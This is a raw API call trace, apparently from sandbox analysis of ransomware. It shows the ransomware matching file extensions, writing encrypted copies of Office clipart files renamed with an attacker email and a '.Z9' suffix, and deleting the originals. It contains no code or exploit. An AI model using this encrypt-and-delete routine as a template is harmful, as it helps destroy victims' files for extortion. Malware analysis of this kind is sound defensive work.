	[0091.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.458] lstrlenW (lpString=".ppt") returned 4
	[0091.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.458] lstrlenW (lpString=".zip") returned 4
	[0091.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.458] lstrlenW (lpString=".rar") returned 4
	[0091.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.458] lstrlenW (lpString=".bz2") returned 4
	[0091.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.458] lstrlenW (lpString=".7z") returned 3
	[0091.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.458] lstrlenW (lpString=".dbf") returned 4
	[0091.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString=".1cd") returned 4
	[0091.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString=".jpg") returned 4
	[0091.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString=".doc") returned 4
	[0091.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString=".docx") returned 5
	[0091.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.459] lstrlenW (lpString=".pdf") returned 4
	[0091.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString=".xls") returned 4
	[0091.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.459] lstrlenW (lpString=".xlsx") returned 5
	[0091.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.459] lstrlenW (lpString=".ppt") returned 4
	[0091.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString=".zip") returned 4
	[0091.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.459] lstrlenW (lpString=".rar") returned 4
	[0091.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString=".bz2") returned 4
	[0091.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString=".7z") returned 3
	[0091.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.459] lstrlenW (lpString=".dbf") returned 4
	[0091.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.485] lstrlenW (lpString=".1cd") returned 4
	[0091.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.485] lstrlenW (lpString=".jpg") returned 4
	[0091.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.485] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.485] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0091.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.486] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2324) returned 1
	[0091.486] CloseHandle (hObject=0x378) returned 1
	[0091.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220
	[0091.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.486] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.486] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0091.486] GetLastError () returned 0x0
	[0091.486] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x914, lpOverlapped=0x0) returned 1
	[0091.812] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x920, lpOverlapped=0x0) returned 1
	[0091.813] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.813] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.813] SetEndOfFile (hFile=0x338) returned 1
	[0092.263] CloseHandle (hObject=0x338) returned 1
	[0092.288] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.288] SetEndOfFile (hFile=0x378) returned 1
	[0092.289] CloseHandle (hObject=0x378) returned 1
	[0092.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0092.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.289] lstrlenW (lpString=".doc") returned 4
	[0092.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.289] lstrlenW (lpString=".docx") returned 5
	[0092.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.289] lstrlenW (lpString=".pdf") returned 4
	[0092.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.289] lstrlenW (lpString=".xls") returned 4
	[0092.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.289] lstrlenW (lpString=".xlsx") returned 5
	[0092.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.289] lstrlenW (lpString=".ppt") returned 4
	[0092.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".zip") returned 4
	[0092.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.290] lstrlenW (lpString=".rar") returned 4
	[0092.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString=".bz2") returned 4
	[0092.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString=".7z") returned 3
	[0092.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".dbf") returned 4
	[0092.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".1cd") returned 4
	[0092.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".jpg") returned 4
	[0092.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".doc") returned 4
	[0092.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString=".docx") returned 5
	[0092.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.290] lstrlenW (lpString=".pdf") returned 4
	[0092.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString=".xls") returned 4
	[0092.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.290] lstrlenW (lpString=".xlsx") returned 5
	[0092.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.290] lstrlenW (lpString=".ppt") returned 4
	[0092.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.290] lstrlenW (lpString=".zip") returned 4
	[0092.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.290] lstrlenW (lpString=".rar") returned 4
	[0092.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.291] lstrlenW (lpString=".bz2") returned 4
	[0092.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.291] lstrlenW (lpString=".7z") returned 3
	[0092.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.291] lstrlenW (lpString=".dbf") returned 4
	[0092.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.291] lstrlenW (lpString=".1cd") returned 4
	[0092.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0092.291] lstrlenW (lpString=".jpg") returned 4
	[0092.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.291] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.291] lstrlenW (lpString="EN00902_.WMF") returned 12
	[0092.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.292] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7944) returned 1
	[0092.292] CloseHandle (hObject=0x378) returned 1
	[0092.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220
	[0092.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.292] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.292] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0092.292] GetLastError () returned 0x0
	[0092.293] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1f08, lpOverlapped=0x0) returned 1
	[0092.294] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0092.295] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.295] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.295] SetEndOfFile (hFile=0x338) returned 1
	[0092.295] CloseHandle (hObject=0x338) returned 1
	[0092.295] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.295] SetEndOfFile (hFile=0x378) returned 1
	[0092.296] CloseHandle (hObject=0x378) returned 1
	[0092.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString=".doc") returned 4
	[0092.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString=".docx") returned 5
	[0092.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.297] lstrlenW (lpString=".pdf") returned 4
	[0092.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString=".xls") returned 4
	[0092.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.297] lstrlenW (lpString=".xlsx") returned 5
	[0092.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.297] lstrlenW (lpString=".ppt") returned 4
	[0092.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString=".zip") returned 4
	[0092.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.297] lstrlenW (lpString=".rar") returned 4
	[0092.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString=".bz2") returned 4
	[0092.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString=".7z") returned 3
	[0092.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString=".dbf") returned 4
	[0092.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString=".1cd") returned 4
	[0092.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.297] lstrlenW (lpString=".jpg") returned 4
	[0092.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString=".doc") returned 4
	[0092.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString=".docx") returned 5
	[0092.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.298] lstrlenW (lpString=".pdf") returned 4
	[0092.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString=".xls") returned 4
	[0092.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.298] lstrlenW (lpString=".xlsx") returned 5
	[0092.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.298] lstrlenW (lpString=".ppt") returned 4
	[0092.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString=".zip") returned 4
	[0092.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.298] lstrlenW (lpString=".rar") returned 4
	[0092.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString=".bz2") returned 4
	[0092.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString=".7z") returned 3
	[0092.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString=".dbf") returned 4
	[0092.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString=".1cd") returned 4
	[0092.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0092.298] lstrlenW (lpString=".jpg") returned 4
	[0092.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.299] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.299] lstrlenW (lpString="FD00074_.WMF") returned 12
	[0092.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.299] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17850) returned 1
	[0092.299] CloseHandle (hObject=0x378) returned 1
	[0092.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220
	[0092.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.300] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.300] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0092.300] GetLastError () returned 0x0
	[0092.300] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x45ba, lpOverlapped=0x0) returned 1
	[0092.302] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0092.303] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.303] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.303] SetEndOfFile (hFile=0x338) returned 1
	[0092.303] CloseHandle (hObject=0x338) returned 1
	[0092.303] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.303] SetEndOfFile (hFile=0x378) returned 1
	[0092.304] CloseHandle (hObject=0x378) returned 1
	[0092.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString=".doc") returned 4
	[0092.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString=".docx") returned 5
	[0092.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.305] lstrlenW (lpString=".pdf") returned 4
	[0092.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString=".xls") returned 4
